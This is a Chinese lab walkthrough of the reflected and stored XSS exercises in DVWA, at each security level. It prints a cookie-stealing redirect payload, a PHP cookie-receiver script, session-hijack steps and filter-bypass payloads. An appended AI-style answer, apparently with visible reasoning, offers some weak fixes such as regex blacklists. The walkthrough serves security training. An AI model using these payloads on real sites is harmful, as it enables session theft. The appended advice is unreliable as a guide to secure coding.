DVWA亲测XSS漏洞

首先需要有配置好的DVWA环境,像下图这样

 

其中:     

XSS (DOM) :  DOM型XSS漏洞

XSS (Reflected) : 反射性XSS漏洞

 XSS (Stored) :  存储型XSS漏洞



我们先来看XSS(Reflected): 反射型的XSS漏洞

首先,我们选择LOW等级

XSS (Reflected) :

点击出现如图所示

我们先来输入  xss  ,点击确定

我们接着来输入<xss> ,点击确定

这时发现插入html标签的话,页面会发生变化,我们尝试js弹窗

我们继续输入<script>alert('xss')</script>,点击确定

这时说明这个网站可以进行XSS攻击,我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ,就可以得到要攻击的人cookie信息

 攻击过程总结:

 1.攻击者的web设计用来接收cookie,如下:

 

<?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie) ?>

2.构造并发送攻击url:

 

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

注意:<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行

URLlencode的编码,否则不会攻击成功

3.得到cookie后,我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies

 

4.完成后,我们直接访问index.php,发现我们已经已被攻击者的身份登陆,可以赶我们想干的事情了


接下来我们选择Medium等级的XSS

XSS (Reflected) :

点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 

发现已经失效,无法正常弹窗,<script>标签被过滤了,不过我们也有方法

1. <scri<script>pt>  应为过滤程序只会过滤一次,嵌套可以完美绕过。

输入<scr<script>ipt>alert('xss')</script>   

2.   <ScRiPt>   大小写混合绕过

输入<ScRiPt >ipt>alert('xss')</ScRiPt >

接下来我们选择High等级的XSS

XSS (Reflected) :

点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 

我们尝试嵌套,大小写,发现都是失效的

但是能够插入xss代码的标签并不只是<script>,

还有<img>标签,同样也可以

输入 <img src=x οnerrοr=alert('xss')>,点击确定

 

onerror事件会在文档或图像加载过程中发生错误时被触发

应为src=x本事就是一个错误代码,所以触发事件执行

还有<iframe>标签同样可以:

输入 <iframe οnlοad=alert('xss')>,点击确定

 

<iframe>标签可以在一个html代码中嵌入另一个html内容

onload 是js的一个事件,事件会在页面加载完成后,立即发生,同时执行被调用的程序。

注意:1. 加载页面时,触发onload事件


接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的

XSS (Reflected) :

点击出现如图所示

我们先来输入<script>alert('xss')</script>  ,点击确定

 

发现代码原封不动的输出出来了,我们通过fire bug 查看元素

 

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体

我们输入的符号都被转义了,使他们丧失了功能

查看后台代码

 

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>

原来是htmlspecialchars()这个函数把符号给编码了

 


接下来让我们来看XSS(Stored): 存储型XSS漏洞


首先,我们选择LOW等级

点击出现如图所示

是留言板性质的

我们先来尝试输入

发现输入不完整,估计是后台的输入框限制了长度

先查看源代码

果然不出所料

然后我们用火狐浏览器上的Tamper date 进行抓包改包

点击发送就可以成功绕过

或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包:

然后改包:

 结果 :

 这样就简简单单突破限制


下面我们进入Middem等级

点击确定后

我们发现name中还是限制了字数,但在Low等级中我们已经列出解决办法,这里不再赘述

我们在Message表格中写入<script>alert('xss')</script>,发现如下图

发现<script>标签被过滤,此处我们也已经列出过解决办法,也不再赘述

抓包改包,用大小写混合的方法就可以成功绕过

我们看一下源代码:

 
<?php
 
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
 
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
 
    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );
 
    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}
 
// Generate Anti-CSRF token
generateSessionToken();
?>

这代码不可谓不精细,message防注入做的很棒

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体


接下来我们进入High等级

 点击确定后

我们在Message处尝试输入<script>alert('xss')</script>

我们又遇到了meddiem的问题:

 

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>

发现name已经完全过滤了<script>,区分大小写,以前的方法都失效了

这时我们采取新办法,我们在name中输入 <img src=x οnerrοr=alert('xss')>

发现成功绕过


接下来我们进入不可能注入的impossible等级

这时我们先来看代码

 

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

<think>嗯,用户想了解DVWA中的存储型XSS漏洞示例及防御方法。首先,我得回忆一下DVWA是什么,DVWA是一个用于练习Web应用漏洞的平台,包含不同难度的漏洞环境。存储型XSS是其中一种漏洞类型,恶意脚本被存储在服务器上,比如数据库里,当其他用户访问时就会执行。 根据用户提供的引用,特别是引用1和2,里面提到了存储型XSS的原理和不同安全等级(Low、Medium、High、Impossible)的处理方式。需要分别分析每个级别的示例和防御方法。比如在Low级别,可能没有任何过滤,直接输入脚本就会被存储;Medium级别可能有一些过滤,比如转义<script>标签;High级别可能有更严格的过滤或使用黑名单;而Impossible级别可能结合了输入验证和输出编码,或者使用CSRF令牌。 还要注意用户提到的引用3,虽然主要讲反射型XSS,但防御方法可能有共通之处,比如输入过滤和输出编码。需要确保回答中涵盖不同级别的示例代码,比如PHP中的处理方式,以及如何通过输入验证、输出编码、内容安全策略(CSP)等方式进行防御。 用户可能需要具体的漏洞示例,比如在留言板中注入<script>alert('XSS')</script>,然后展示不同级别的后端代码如何处理。同时,防御方法需要分点说明,比如输入验证、输出编码、CSP、HttpOnly Cookie等,确保结构清晰。 另外,用户可能希望了解如何实际操作,比如在DVWA中如何试这些漏洞,以及防御措施的具体实现。需要确保回答中的代码示例正确,比如使用htmlspecialchars函数进行输出编码,或者使用正则表达式过滤特定标签。 最后,生成相关问题时要围绕存储型XSS的不同方面,比如各等级区别、实际应用中的案例、CSP的作用、HttpOnly如何帮助防御,以及与其他XSS类型的比较。确保问题能帮助用户进一步深入理解。</think>### DVWA 存储型 XSS 漏洞示例及防御方法 #### 一、存储型 XSS 漏洞示例 在 DVWA 中,存储型 XSS 漏洞常出现在用户输入持久化存储的场景,例如留言板功能。攻击者提交包含恶意脚本的内容后,脚本会被存入数据库,其他用户访问时自动执行该脚本。 **示例代码(Low 级别未过滤):** ```php // 后端处理代码(Low级别) $message = $_POST['mtxMessage']; $name = $_POST['txtName']; $query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name');"; ``` 攻击者可输入以下内容实现攻击: `<script>alert('XSS')</script>` 当其他用户查看留言时,脚本会触发弹窗[^1][^2]。 #### 二、不同安全等级的防御方法 1. **Low 级别(无过滤)** - **漏洞原因**:直接拼接用户输入到 SQL 语句,未做过滤。 - **修复建议**:对用户输入进行 HTML 实体编码,例如使用 PHP 的 `htmlspecialchars()` 函数: ```php $message = htmlspecialchars($_POST['mtxMessage'], ENT_QUOTES, 'UTF-8'); ``` 2. **Medium 级别(部分过滤)** - **漏洞原因**:使用 `stripslashes()` 和 `htmlspecialchars()` 但未完全覆盖所有危险字符。 - **修复示例**: ```php $message = strip_tags($_POST['mtxMessage']); // 移除 HTML 标签 ``` 3. **High 级别(严格过滤)** - **漏洞原因**:使用正则表达式黑名单过滤 `<script>` 标签,但可能被其他标签绕过。 - **修复示例**: ```php $message = preg_replace('/<script.*?>/i', '', $_POST['mtxMessage']); // 过滤 script 标签 ``` 4. **Impossible 级别(综合防御)** - **防御方法**: - 输入验证:仅允许特定字符(如字母、数字)。 - 输出编码:强制使用 `htmlspecialchars()`。 - CSRF 防护:添加 Token 验证[^1]。 ```php $message = htmlspecialchars(strip_tags($_POST['mtxMessage']), ENT_QUOTES, 'UTF-8'); ``` #### 三、通用防御策略 1. **输入验证** - 使用白名单机制限制输入格式(如正则表达式 `/[a-zA-Z0-9\s]+/`)。 2. **输出编码** - 对动态内容进行 HTML 编码(如 PHP 的 `htmlentities()`)。 3. **内容安全策略(CSP)** - 通过 HTTP 头限制脚本来源: ```http Content-Security-Policy: default-src 'self' ``` 4. **HttpOnly Cookie** - 设置 Cookie 的 `HttpOnly` 属性防止通过 `document.cookie` 窃取。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值